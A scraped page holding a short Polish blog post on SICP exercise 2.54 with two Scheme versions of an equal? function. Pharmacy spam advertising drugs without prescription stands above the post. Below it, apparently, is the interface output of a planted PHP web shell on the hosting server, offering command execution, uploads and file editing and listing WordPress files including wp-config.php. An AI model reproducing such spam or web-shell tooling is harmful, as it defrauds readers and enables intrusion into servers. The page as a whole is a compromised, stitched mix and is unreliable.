equal?

Synthroid Without Prescription Inderal No Prescription Nexium For Sale Prevacid Generic Buy Elimite Online Prevacid Without Prescription Ultram No Prescription Prevacid For Sale Ultram Generic Buy Prednisone Online

W ćwiczeniu 2.54 autorzy proszą nas o napisanie funkcji equal? zdolnej do porównywania list. Jej definicja wynika bezpośrednio z opisu.

(define (equal? a b)
  (if (and (pair? a) (pair? b))
      (and (equal? (car a) (car b))
           (equal? (cdr a) (cdr b)))
      (eq? a b)))

Implementacja ta radzi sobie doskonale z symbolami i (dowolnie zagnieżdżonymi) listami symboli, nie bierze jednak pod uwagę liczb. Jeżeli przyjmiemy, tak jak radzą nam autorzy w przypisie, że dwie liczby są równe, jeżeli ich wartości numeryczne są równe, to otrzymamy następującą implementację:

(define (equal? a b)
  (cond
   [(and (pair? a) (pair? b))
    (and (equal? (car a) (car b))
         (equal? (cdr a) (cdr b)))]
   [(and (number? a) (number? b))
    (= a b)]
   [else
    (eq? a b)]))

Komentuj wpis


cmd
php
actions edit remove new_dir new_file
aliases
dir
upload
OS: Linux hosting4 3.2.0-4-amd64 #1 SMP Debian 3.2.86-1 x86_64
User: joker uid(1017) gid(1017)
Server: Apache/2.2.22
safe_mode: off execute: off max_execution_time: not limited
~:(expl0rer):~
<.>
<..>
<wp-admin>
<wp-content>
<wp-includes>

.htaccess198 b
favicon.ico475 b
index.php216 b
wp-atom.php1.98 Kb
wp-blog-header.php759 b
wp-comments-post.php2.23 Kb
wp-commentsrss2.php3.51 Kb
wp-config.php959 b
wp-feed.php762 b
wp-links-opml.php2.3 Kb
wp-login.php9.89 Kb
wp-mail.php5.02 Kb
wp-pass.php299 b
wp-rdf.php2.18 Kb
wp-register.php5.48 Kb
wp-rss.php1.34 Kb
wp-rss2.php2.13 Kb
wp-settings.php7.71 Kb
wp-trackback.php3.14 Kb
xmlrpc.php36.27 Kb
~:(results):~